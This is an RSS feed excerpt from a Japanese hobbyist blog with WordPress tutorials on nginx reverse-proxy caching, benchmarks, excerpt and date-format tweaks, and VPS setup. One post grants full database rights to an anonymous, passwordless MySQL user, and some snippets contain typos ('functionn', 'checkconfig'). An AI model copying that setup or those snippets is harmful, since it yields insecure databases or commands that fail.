<p>nginx.conf のバックエンドサーバの設定を書き換えてから、nginx をリブートします。</p>
<div class="codecolorer-container ini dawn" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="ini codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">&nbsp; &nbsp; server <span style="">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; listen &nbsp; &nbsp; &nbsp; <span style="">8080</span><span style="color: #666666; font-style: italic;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; server_name &nbsp;example.com<span style="color: #666666; font-style: italic;">;</span><br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; location / <span style="">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; root &nbsp; /var/www/nginx<span style="color: #666666; font-style: italic;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; index &nbsp;index.html index.htm index.php<span style="color: #666666; font-style: italic;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if <span style="">&#40;</span>-f $request_filename<span style="">&#41;</span> <span style="">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; break<span style="color: #666666; font-style: italic;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="">&#125;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if <span style="">&#40;</span>!-e $request_filename<span style="">&#41;</span> <span style="">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; rewrite ^<span style="">&#40;</span>.+<span style="">&#41;</span>$ &nbsp;/index.php?q<span style="color: #000066; font-weight:bold;">=</span><span style="color: #660066;">$1 last</span><span style="color: #666666; font-style: italic;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="">&#125;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="">&#125;</span></div></div>
<p>nginx をリブートが完了したら WordPress のパーマリンク設定を変更してください。</p>
<h3>Nginx Proxy Cache Purge WordPress プラグインのインストール</h3>
<p>WordPress のインスコが終わったら <a href="http://wordpress.org/extend/plugins/nginx-proxy-cache-purge/">Nginx Proxy Cache Purge</a> WordPress プラグインを入れます。普通に WordPress のダッシュボードからインスコしてください。</p>
<p>このプラグインを入れると、記事を更新した際に nginx のキャッシュが<strike><a href="http://unkar.org/r/ogame/1260278896">パルスのファルシのルシが</a></strike>パージされるようになります。このプラグインを入れないと nginx のキャッシュタイムアウトまでの間（上の設定だと10分）古い内容で表示されることになりますので、nginx でリバースプロクシ立てたサイトで WordPress を動かすときは一緒にインスコしておいた方が良いです。</p>
<p>ちなみにこのプラグイン、パージ URL が /purge/* 固定（上の nginx の設定はこれに合わせています）でソースコード中にハードコーディングされていますので、パージ URLを変更したい場合はプラグインのソースを書き換える必要があります。上の nginx の設定例ではパージ URL を /purge にしてますので書き換えなくても問題ありませんが、変更したい場合はちょっと不便かもです。</p>
<p>nginx purge とかで WordPress プラグインを検索すると、他にも nginx のキャッシュをパージするための<strike><a href="http://alfalfalfa.com/archives/03994.html">エナがチャンガしてる</a></strike>プラグインが何個かありますので、他に良さげなのがあればそちらをどうぞ。</p>
<p>ちなみに、リバースプロクシでキャッシュしている場合は <a href="http://wordpress.org/extend/plugins/wp-super-cache/">WP Super Cache</a> 等のキャッシュプラグインは要りませんので、他のサイトから移行してきた場合キャッシュ関係のプラグインは無効または削除した方が良いと思います。</p>
<h3>ベンチマーク</h3>
<p>画竜点睛を欠くふいんき（なぜかry）でしたので、さくら VPS 512 上で  httperf でWordPress のベンチマークを取ってみました。ついでにさくらスタンダードの WordPress に対してもベンチマークを取っていますが、こちらはサーバ環境が違いすぎるのであくまでも参考値ということで。</p>
<p>VPS の Apache はほぼデフォルトの設定／VPS の nginx はリバースプロクシありの設定ですので、ぶっちゃけフェアな比較ではありませんがまあこんなもんだと思います。（Apache の mod_cache を有効にするとか性能的な対策が可能ですが、別の VPS 鯖で mod_cache 入れたら過負荷になったときにサーバが落ちた（入れる前は過負荷でも落ちなかった）のでピーク時性能についてはどっちもどっちだと思います。まあ細かいことを言い出したらキリが無いので別の条件でベンチ取りたい人はよろしく〜(^o^)／）</p>
<hr class="linebreak" />
<p>まず最初のグラフは1秒あたりのサーバが返したレスポンス数です。</p>
<p><img src="http://sakuratan.biz/blog/wp-content/uploads/2011/09/graph1.png" alt="" title="レスポンス数／秒" width="417" height="265" class="aligncenter size-full wp-image-4784" /></p>
<p>グラフのY軸がレスポンス数／秒、X軸が1秒あたりにクライアントから同時に発生したリクエスト数です。</p>
<p>nginx が nginx の WordPress トップページに対するベンチマーク、apache(VPS) が VPS 上で動かした Apache の WordPress トップページに対するベンチマーク、apache(STD) がさくらスタンダード上（の Apache）で動かした WordPress トップページに対するベンチマークの値です。</p>
<p>一個だけ見てもよく分からない部分が多々ありますので先にグラフを全部貼ります。</p>
<hr class="linebreak" />
<p>次のグラフは正常に完了したリクエストのレスポンスタイム(ミリ秒）です。</p>
<p><img src="http://sakuratan.biz/blog/wp-content/uploads/2011/09/graph2.png" alt="" title="レスポンスタイム" width="418" height="265" class="aligncenter size-full wp-image-4786" /></p>
<p>同時リクエスト数 70 〜 80 の間で Apache (VPS) のレスポンスタイムが 0 になっているのは、次のグラフのとおりサーバが落ちていたためです。</p>
<hr class="linebreak" />
<p>最後のグラフはエラーが返された数です。</p>
<p><img src="http://sakuratan.biz/blog/wp-content/uploads/2011/09/graph3.png" alt="" title="エラー数" width="418" height="265" class="aligncenter size-full wp-image-4787" /></p>
<p>Apache (VPS) では、リクエスト数（X軸）が70と80の時にエラーが70と80返されています。ベンチマークのリクエストが50を越えたあたりからサーバが処理しきれなくなって、70 〜 80 の間完全に落ちた状態となり、（このベンチマークは連続して行いましたので）90ぐらいから先に送ったリクエストが（タイムアウトなどで）終了し始め、100リクエストのころにはちょっと回復していた感じになっています。</p>
<p>Apache (STD) が微妙にエラーを出してるのは、アクセス制御用のモジュールを入れているからだと思いますが、自分で設定したサーバでは無いので詳細は不明です。</p>
<hr class="linebreak" />
<p>以上から、</p>
<ul>
<li>nginx: 25 〜 44 リクエスト／秒のスループットで、同時リクエスト数が 60 を越えたあたりからレスポンスタイムが悪化（最高値 720.2 ms)、同時リクエスト数が 90 を越えたあたりからエラーが出始める。</li>
<li>Apache (VPS): 13 〜 24 リクエスト／秒のスループットで、同時リクエスト数が 20 を越えたあたりからレスポンスタイムが悪化（最高値 3643.2 ms)、同時リクエスト数が 50 を越えたあたりからエラーが出始め、一時完全に落ちた。</li>
<li>Apache (STD): 18 〜 30 リクエスト／秒のスループットで、レスポンスタイムは線形に悪化していないので詳細不明、割とすぐにエラーを返し始める。共有サーバだし詳細もよく分からんのでご勘弁を。</li>
</ul>
<p>みたいな感じだと思います。</p>
<p>とりあえず VPS で WordPress を動かすなら nginx 使う方が良い(*´・ω・)(・ω・｀*)ﾈｰ、って結果でした。</p>
<p>VPS についてはベンチマーク中に Load Average も計ってたんですが、nginx の最高値が 0.14、Apache の最高値が 132.56 でした。お話にならんって感じです。</p>
<p>VPS サーバで一番メモリを使ってるのは MySQL サーバですので、ここをチューニングするとさらに速くできるかも、です。<br />
nginx のキャッシュに memcached を使ったりもできるのですが、さくら VPS 512 にデータベースやらなんやら全部置いててメモリ的に厳しいので今のところパスしてます。</p>
<p><a href="http://thinkit.co.jp/story/2011/07/15/2185">こちらの記事</a>によると別の VPS に DB サーバを立てたりしてもおkみたいですので、チューニングの余地は結構ある感じです。<br />
<a href="http://www.publickey1.jp/blog/11/11_3.html">さくらクラウド</a>で動かすのもいいかもしれませんねー。</p>
<hr class="linebreak" />
<p>てことで、WordPress が重い重い言ってる人は nginx に乗り換えチャイナYOU！</p>
<h3>参考サイト</h3>
<p>最後に sakuratan.biz を nginx に移行する際に参考にしたページのリンクを貼っときます。この記事のとおり作業してみたけど何かうまくいかないって時は以下のサイトに解決方法があると思います。</p>
<ul>
<li><a href="http://wiki.nginx.org/">wiki.nginx.org</a></li>
<li><a href="http://sakura.off-soft.net/centos/apache-nginx-11-cash-remove.html">apache のかわりにnginxを使ってみる(11) nginxのproxyでキャッシュを削除する方法 | レンタルサーバー・自宅サーバー設定・構築のヒント</a></li>
<li><a href="http://dogmap.jp/2011/02/08/wordpress-nginx/">WordPress サイトに nginx を導入する : dogmap.jp</a></li>
<li><a href="http://library.linode.com/web-servers/nginx/php-fastcgi/centos-5">Nginx and PHP-FastCGI on CentOS 5 – Linode Library</a></li>
<li><a href="http://www.alink.co.jp/tech/blog/2009/09/22/php-php530%E3%81%A7%E3%81%AE%E3%82%A2%E3%82%AF%E3%82%BB%E3%83%A9%E3%83%AC%E3%83%BC%E3%82%BF%E5%B0%8E%E5%85%A5/">[PHP] PHP5.3.0でのアクセラレータ導入 &#8211; ありんく tech-log</a></li>
<li><a href="http://tanaka.sakura.ad.jp/2011/05/centos-linux-apache-php-perl-mysql-lamp.html">ウェブ開発者のための、1時間でできるLAMP環境構築術（CentOS編） &#8211; さくらインターネット創業日記</a></li>
<li><a href="http://na-ga.net/blog/?p=559">Na-ga.net » Blog Archive » httperf man (OUTPUT) &#8211; Linux を中心とした忘却メモ</a></li>
</ul>
]]></content:encoded>
			<wfw:commentRss>http://sakuratan.biz/archives/4582/feed</wfw:commentRss>
		<slash:comments>390</slash:comments>
		</item>
		<item>
		<title>WordPressのthe_contentをthe_excerptを変えようとしたら超大変だったでござるorzの巻</title>
		<link>http://sakuratan.biz/archives/4663</link>
		<comments>http://sakuratan.biz/archives/4663#comments</comments>
		<pubDate>Sat, 03 Sep 2011 07:28:04 +0000</pubDate>
		<dc:creator>さくら</dc:creator>
				<category><![CDATA[WordPress]]></category>

		<guid isPermaLink="false">http://sakuratan.biz/?p=4663</guid>
		<description><![CDATA[前にちょっとだけ WordPress の一覧ページの表示を抜粋形式にしてたことがあって、そん時は more を使っていたんですが、今回 the excerpt を使って抜粋表示に直そうとしたらエラいはまったんで、その辺のことをメモっとこうと思います。 the_content を the_excerpt に変えたら個別ページも抜粋表示になったでござるorzの巻 とりあえず WordPress テーマ... <div style="margin-top:1ex"><a href="http://sakuratan.biz/archives/4663">(続きを読む)</a></div>]]></description>
			<content:encoded><![CDATA[<p>前にちょっとだけ WordPress の一覧ページの表示を抜粋形式にしてたことがあって、そん時は more を使っていたんですが、今回 <a href="http://wpdocs.sourceforge.jp/%E3%83%86%E3%83%B3%E3%83%97%E3%83%AC%E3%83%BC%E3%83%88%E3%82%BF%E3%82%B0/the_excerpt">the excerpt</a> を使って抜粋表示に直そうとしたらエラいはまったんで、その辺のことをメモっとこうと思います。</p>
<h3>the_content を the_excerpt に変えたら個別ページも抜粋表示になったでござるorzの巻</h3>
<p>とりあえず WordPress テーマの中の index.php で the_content を呼び出してる箇所を the_excerpt に変えたらいーんだろ？とか思って適当にいじくってみたら、個別ページ（ブログとかページとか）も含めて WordPress 全部が抜粋表示になっちゃいました、テヘ☆</p>
<p>the_excerpt が適当に記事の内容判断して抜粋に切り替えてくれるのかと思ったんですが、この関数は単に抜粋表示するだけのもので、どのページを抜粋にするかは自分で制御しないといけないみたいです。</p>
<p><a href="http://ja.blog.wordpress.com/2011/06/08/new-theme-twenty-eleven/">twentyeleven</a> テーマとかだと元から the_excerpt が入ってて適当にやってくれるみたいなんですが、今 sakuratan.biz で使ってる <a href="http://shaheeilyas.com/barecity/">barecity</a> テーマの場合はそういう処理が入ってないので自分で設定しないといけないっぽいです。</p>
<hr class="linebreak">
<p>で、色々試行錯誤したあげく↓みたいな感じでテーマの index.php を修正しました。</p>
<div class="codecolorer-container php dawn" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="php codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span>is_singular<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp; the_content<span style="color: #009900;">&#40;</span>__<span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'(more...)'</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
<span style="color: #009900;">&#125;</span> <span style="color: #b1b100;">else</span> <span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp; the_excerpt<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
<span style="color: #009900;">&#125;</span></div></div>
<p>is_singular() は個別ページの時に真になります。</p>
<p>the_content の引数 __(&#8216;(more&#8230;)&#8217;) は前に more を使って抜粋していたときの名残りですのであんま気にしないでください。</p>
<hr class="linebreak">
<p>twentyeleven とかですとこの辺は↓みたいな感じになってます。</p>
<div class="codecolorer-container php dawn" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="php codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span>is_search<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp; the_excerpt<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
<span style="color: #009900;">&#125;</span> <span style="color: #b1b100;">else</span> <span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp; the_content<span style="color: #009900;">&#40;</span>__<span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'(more...)'</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
<span style="color: #009900;">&#125;</span></div></div>
<p>is_search() は検索結果表示の時だけ真になりますので、twentyeleven ですと検索時以外は全文表示してます。</p>
<hr class="linebreak">
<p>WordPress の is_ 関数は wp-includes/query.php で定義されていますので、色々試してみたい方はソース見てください。</p>
<h3>excerpt_length フィルタを設定しても抜粋表示文字数が変わらないでござるorzの巻</h4>
<p>一覧に表示する抜粋の長さは、excerpt_length フィルタで制御できるみたいなんで、テーマの functions.php を↓みたいに変えて400文字に設定しようとしたら全然表示数が変わりませんでした。</p>
<div class="codecolorer-container php dawn" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="php codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">functionn new_excerpt_length<span style="color: #009900;">&#40;</span><span style="color: #000088;">$length</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp; &nbsp;<span style="color: #b1b100;">return</span> <span style="color: #cc66cc;">400</span><span style="color: #339933;">;</span><br />
<span style="color: #009900;">&#125;</span><br />
add_filter<span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'excerpt_length'</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">'new_excerpt_length'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></div></div>
<p>ソース grep して調べた結果、<a href="http://eastcoder.com/code/wp-multibyte-patch/">WP Multibyte Patch</a> に excerpt_mblength フィルタというのがあって、excerpt_length > excerpt_mblength になると excerpt_mblength のデフォルト値で切り捨てられているため、設定したフィルタが有効になっていない感じでした。</p>
<p>ちなみに WP Multibyte Patch をインスコした状態の excerpt_length とexcerpt_mblength のデフォルト値は 55 と 110 です。</p>
<hr class="linebreak">
<p>で、最終的に functions.php は↓のようにしました。</p>
<div class="codecolorer-container php dawn" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="php codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">functionn new_excerpt_length<span style="color: #009900;">&#40;</span><span style="color: #000088;">$length</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp; &nbsp;<span style="color: #b1b100;">return</span> <span style="color: #cc66cc;">400</span><span style="color: #339933;">;</span><br />
<span style="color: #009900;">&#125;</span><br />
add_filter<span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'excerpt_length'</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">'new_excerpt_length'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
<br />
<span style="color: #000000; font-weight: bold;">function</span> new_excerpt_mblength<span style="color: #009900;">&#40;</span><span style="color: #000088;">$length</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp; <span style="color: #b1b100;">return</span> <span style="color: #cc66cc;">200</span><span style="color: #339933;">;</span><br />
<span style="color: #009900;">&#125;</span><br />
add_filter<span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'excerpt_mblength'</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">'new_excerpt_mblength'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></div></div>
<hr class="linebreak">
<p>なお WP Multibyte Patch は独自の設定ファイルがあり、wp-content/plugins/wp-multibyte-patch/wpmp-config-sample.php を wp-contents/wpmp-config.php にコピーして設定を書き込むとそれがデフォルトになるみたいです。</p>
<p>なんか面倒くさそうなので functions.php で直しましたが、そういう方法もあるってことで。</p>
<hr class="linebreak">
<p>ちなみに今回 the_excerpt に変えたかった理由は、抜粋表示してたときの方が Google からのアクセスが多かったからです。( ﾟ∀ﾟ)o彡ﾟSEO！SEO！</p>
<p>実際のところ関係あるのか無いのかよく分かりませんが、5月中頃と比べて10倍ぐらい検索エンジンからの流入が落ちてまして、その対応でサーバ移転したりブログの設定変えたりしてます。3ヵ月後ぐらいには結果が分かると思いますので、その頃にそれっぽい記事書くかもしんないす。</p>
]]></content:encoded>
			<wfw:commentRss>http://sakuratan.biz/archives/4663/feed</wfw:commentRss>
		<slash:comments>199</slash:comments>
		</item>
		<item>
		<title>WordPressテーマの日付表示を直す方法</title>
		<link>http://sakuratan.biz/archives/3746</link>
		<comments>http://sakuratan.biz/archives/3746#comments</comments>
		<pubDate>Wed, 23 Feb 2011 04:15:08 +0000</pubDate>
		<dc:creator>さくら</dc:creator>
				<category><![CDATA[WordPress]]></category>

		<guid isPermaLink="false">http://sakuratan.biz/?p=3746</guid>
		<description><![CDATA[WordPress.org のテーマディレクトリとかから海外の人が作ったテーマを落としてインスコすると、だいたい日付の書式がおかしかったりします。 このブログもテーマ変えてから日付が変だったので直し方を調べてみました。 日付書式の指定 まず日付の書式の指定方法ですが、the_time() という WordPress の関数の引数で指定できます。 以下はご覧のさくらたんどっとびーずのテーマのブログ記... <div style="margin-top:1ex"><a href="http://sakuratan.biz/archives/3746">(続きを読む)</a></div>]]></description>
			<content:encoded><![CDATA[<p>WordPress.org の<a href="http://wordpress.org/extend/themes/">テーマディレクトリ</a>とかから海外の人が作ったテーマを落としてインスコすると、だいたい日付の書式がおかしかったりします。</p>
<p>このブログもテーマ変えてから日付が変だったので直し方を調べてみました。</p>
<h3>日付書式の指定</h3>
<p>まず日付の書式の指定方法ですが、the_time() という WordPress の関数の引数で指定できます。</p>
<p>以下はご覧のさくらたんどっとびーずのテーマのブログ記事タイトルの下の部分ですが、引数無しで the_time() を呼び出しているので <q>時:分</q> しか表示されません。</p>
<div class="codecolorer-container php dawn" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="php codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">&lt;div class=&quot;meta&quot;&gt;<br />
&nbsp; <span style="color: #000000; font-weight: bold;">&lt;?php</span> the_category<span style="color: #009900;">&#40;</span><span style="color: #0000ff;">','</span><span style="color: #009900;">&#41;</span> <span style="color: #000000; font-weight: bold;">?&gt;</span><br />
&nbsp; &amp;#8212;<br />
&nbsp; <span style="color: #000000; font-weight: bold;">&lt;?php</span> the_tags<span style="color: #009900;">&#40;</span>__<span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'Tags: '</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">', '</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">' &amp;#8212; '</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #000000; font-weight: bold;">?&gt;</span><br />
&nbsp; <span style="color: #000000; font-weight: bold;">&lt;?php</span> the_author<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <span style="color: #000000; font-weight: bold;">?&gt;</span><br />
&nbsp; @<br />
&nbsp; <span style="color: #000000; font-weight: bold;">&lt;?php</span> the_time<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <span style="color: #000000; font-weight: bold;">?&gt;</span><br />
&nbsp; <span style="color: #000000; font-weight: bold;">&lt;?php</span> edit_post_link<span style="color: #009900;">&#40;</span>__<span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'Edit This'</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #000000; font-weight: bold;">?&gt;</span><br />
&lt;/div&gt;</div></div>
<p><q>年月日 時分</q>にしたかったので、the_time() の引数を以下のように変更しました。</p>
<div class="codecolorer-container php dawn" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="php codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #000000; font-weight: bold;">&lt;?php</span> the_time<span style="color: #009900;">&#40;</span>__<span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'Y/m/d G:i'</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #000000; font-weight: bold;">?&gt;</span></div></div>
<p>&#8216;Y/m/d G:i&#8217; が <q>年/月/日 時:分</q> の日付書式です。有効な日付書式は PHP の <a href="http://php.net/manual/ja/function.date.php">date</a> 関数の仕様に従いますので詳しくはリンク先のマニュアル見てください。</p>
<p>日付書式を __() で括っているのは国際化対応のためです。WordPress は <a href="http://jp2.php.net/manual/ja/function.gettext.php">gettext</a> を使ってメッセージを国際化しています。引数に対応する日本語書式が存在すれば使用されます。国際化等を気にせず独自書式に変えたい場合は __() を入れずに日付書式を指定してください。</p>
<p>&#8216;Y/m/d G:i&#8217; の場合、対応する日本語書式が存在しないのでそのまま表示されてしまいますが、&#8217;Y/m/d g:i:s A&#8217; に変更すると日本語化された書式 &#8216;Y年n月j日 g:i:s a&#8217; が使用されます。</p>
<p>どの書式が日本語化済みかは、wp-content/languages/ja.po ファイルで確認できます。WordPress 3.0.5 日本語版では以下のようになっていました。</p>
<table>
<tr>
<th>日付書式</th>
<th>日本語書式</th>
</tr>
<tr>
<td>Y/m/d g:i:s A</td>
<td>Y年n月j日 g:i:s a</td>
</tr>
<tr>
<td>Y/m/d</td>
<td>Y年n月j日</td>
</tr>
<tr>
<td>Y/m/d \\a\\t g:i A</td>
<td>Y年n月j日 g:i a</td>
</tr>
<tr>
<td>Y/m/d \\a\\t g:ia</td>
<td>Y年n月j日 g:i a</td>
</tr>
<tr>
<td>F j, Y</td>
<td>Y年n月j日</td>
</tr>
<tr>
<td>g:i a</td>
<td>g:i A</td>
</tr>
<tr>
<td>F j, Y g:i a</td>
<td>Y年n月j日 g:i A</td>
</tr>
<tr>
<td>M j, Y @ G:i</td>
<td>Y年n月j日 @ G:i</td>
</tr>
</table>
<h3>どのファイルを直す必要があるか調べる</h3>
<p>書式指定方法も分かったので実際にテーマのファイルいじくっていくことにします。</p>
<p>とりあえずどのファイルを直さないといけないか把握する必要がありますが、WordPress の管理パネルのサイドバーの[外観]→[編集]からテーマのファイルを開いて目視でチェックは面倒くさいので grep で探すことにしました。</p>
<p>テーマのファイルはブログをインスコしたディレクトリの下に wp-content/themes/[テーマ名] ディレクトリにありますので、the_time で grep します。</p>
<div class="codecolorer-container bash dawn" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="bash codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">$ <span style="color: #7a0874; font-weight: bold;">cd</span> wp-content<span style="color: #000000; font-weight: bold;">/</span>themes<span style="color: #000000; font-weight: bold;">/</span>barecity<br />
$ <span style="color: #c20cb9; font-weight: bold;">grep</span> the_time <span style="color: #000000; font-weight: bold;">*</span><br />
index.php: &nbsp; &nbsp; &nbsp;<span style="color: #000000; font-weight: bold;">&lt;</span>div <span style="color: #007800;">class</span>=<span style="color: #ff0000;">&quot;meta&quot;</span><span style="color: #000000; font-weight: bold;">&gt;&lt;</span>?php the_category<span style="color: #7a0874; font-weight: bold;">&#40;</span><span style="color: #ff0000;">','</span><span style="color: #7a0874; font-weight: bold;">&#41;</span> ?<span style="color: #000000; font-weight: bold;">&gt;</span> <span style="color: #000000; font-weight: bold;">&amp;</span><span style="color: #666666; font-style: italic;">#8212; &lt;?php the_tags(__('Tags: '), ', ', ' &amp;#8212; '); ?&gt; &lt;?php the_author() ?&gt; @ &lt;?php the_time() ?&gt; &lt;?php edit_post_link(__('Edit This')); ?&gt;&lt;/div&gt;</span></div></div>
<p>今使ってる Barecity テーマの場合は index.php だけ直せば良いようです。テーマによっては何個かファイル直さないといけないのでガンバってください。</p>
<p>んでわ。</p>
]]></content:encoded>
			<wfw:commentRss>http://sakuratan.biz/archives/3746/feed</wfw:commentRss>
		<slash:comments>14</slash:comments>
		</item>
		<item>
		<title>さくらの VPS に WordPress をインスコする手順</title>
		<link>http://sakuratan.biz/archives/2550</link>
		<comments>http://sakuratan.biz/archives/2550#comments</comments>
		<pubDate>Sat, 14 Aug 2010 09:09:33 +0000</pubDate>
		<dc:creator>さくら</dc:creator>
				<category><![CDATA[開発環境]]></category>
		<category><![CDATA[WordPress]]></category>
		<category><![CDATA[さくらのVPS]]></category>

		<guid isPermaLink="false">http://sakuratan.biz/?p=2550</guid>
		<description><![CDATA[さくらの VPS に WordPress をインスコしてみますたので手順メモっときます。えーと、さくらの VPS の設定ダダ流しの続きで書いてますのでよく分からんところは先に元記事を見てください。 1. mysql をインスコする mysql は yum のパッケージを使います。root から mysql.x86_64、mysql-devel.x86_64、mysql-server.x86_64 ... <div style="margin-top:1ex"><a href="http://sakuratan.biz/archives/2550">(続きを読む)</a></div>]]></description>
			<content:encoded><![CDATA[<p>さくらの VPS に WordPress をインスコしてみますたので手順メモっときます。えーと、<a href="http://sakuratan.biz/archives/2492">さくらの VPS の設定ダダ流し</a>の続きで書いてますのでよく分からんところは先に元記事を見てください。</p>
<h3>1. mysql をインスコする</h3>
<p>mysql は yum のパッケージを使います。root から mysql.x86_64、mysql-devel.x86_64、mysql-server.x86_64 あたりをインスコしてください。</p>
<pre>
# yum install mysql.x86_64 mysql-devel.x86_64 mysql-server.x86_64
</pre>
<p>rc スクリプトが /etc/rc.d/init.d/mysqld に作成されますので起動します。</p>
<pre>
# /etc/rc.d/init.d/mysqld start
</pre>
<p>chkconfig でリブート時に mysqld が起動するように設定して mysql のインスコは終わりす。データベースの設定は後でします。</p>
<pre>
checkconfig --level 345 mysqld
</pre>
<h3>2. PHP を mysql モジュール付きでインスコしなおす</h3>
<p><a href="http://sakuratan.biz/archives/2492">前の記事</a>書いたときは、WordPress 使うとか考えて無かったので mysql モジュールを PHP に付けてコンパイルしてなかったので、configure からやり直します。また WordPress を動かすには zlib も必要ですので一緒に configure しなおします。</p>
<p>mysql-devel.x86_64 パッケージをインスコした後で、以下のようにリビルドしてください。</p>
<pre>
$ ./configure --with-libdir=lib64 --with-apxs2=/usr/sbin/apxs \
--with-mysql --with-mysqli --with-zlib-dir
# make
# make install
</pre>
<h3>3. WordPress 用にデータベースを作る</h3>
<p>共用鯖じゃないのでデータベースは WordPress 用に作ります。root で mysql にログインして以下のコマンドを実行します。</p>
<pre>
# mysql
mysql&gt; create database DBNAME default charset utf8;
mysql&gt; grant all on DBNAME.* to ''@localhost;
mysql&gt; revoke ALTER on DBNAME.* from  ''@localhost;
</pre>
<p>コマンドを実行する際は、DBNAME にはちゃんとしたデータベース名を指定してください。</p>
<p>この例では、新しく作ったデータベースには localhost からなら誰でもユーザー／パスワード無しでログインできるようにしています。mysqld 自体を外部から mysql に直接接続できるよう設定していませんし、<a href="http://sakuratan.biz/archives/2492">前の記事</a>で設定したパケットフィルタが mysql のポートを閉じてますので、ssh 等でシェルアカウントでログインしない限りデータベースにも入れませんので（アプリのバグとか除く）、通常これで問題無いと思います。</p>
<p>よりセキュアに仕上げたい方はユーザー／パスワード設定する等ご自由にどぞ。</p>
<h3>4. WordPress をインスコする</h3>
<p>WordPress のインスコ自体は普通ですので、<a href="http://ja.wordpress.org/">公式サイト</a>とか見てください。</p>
]]></content:encoded>
			<wfw:commentRss>http://sakuratan.biz/archives/2550/feed</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>WordPress の admin を簡単にリネームするプラグイン Admin renamer extended</title>
		<link>http://sakuratan.biz/archives/1407</link>
		<comments>http://sakuratan.biz/archives/1407#comments</comments>
		<pubDate>Mon, 30 Nov 2009 00:30:27 +0000</pubDate>
		<dc:creator>さくら</dc:creator>
				<category><![CDATA[WordPress]]></category>
		<category><![CDATA[Admin renamer extended]]></category>
		<category><![CDATA[Plugin]]></category>

		<guid isPermaLink="false">http://sakuratan.biz/?p=1407</guid>
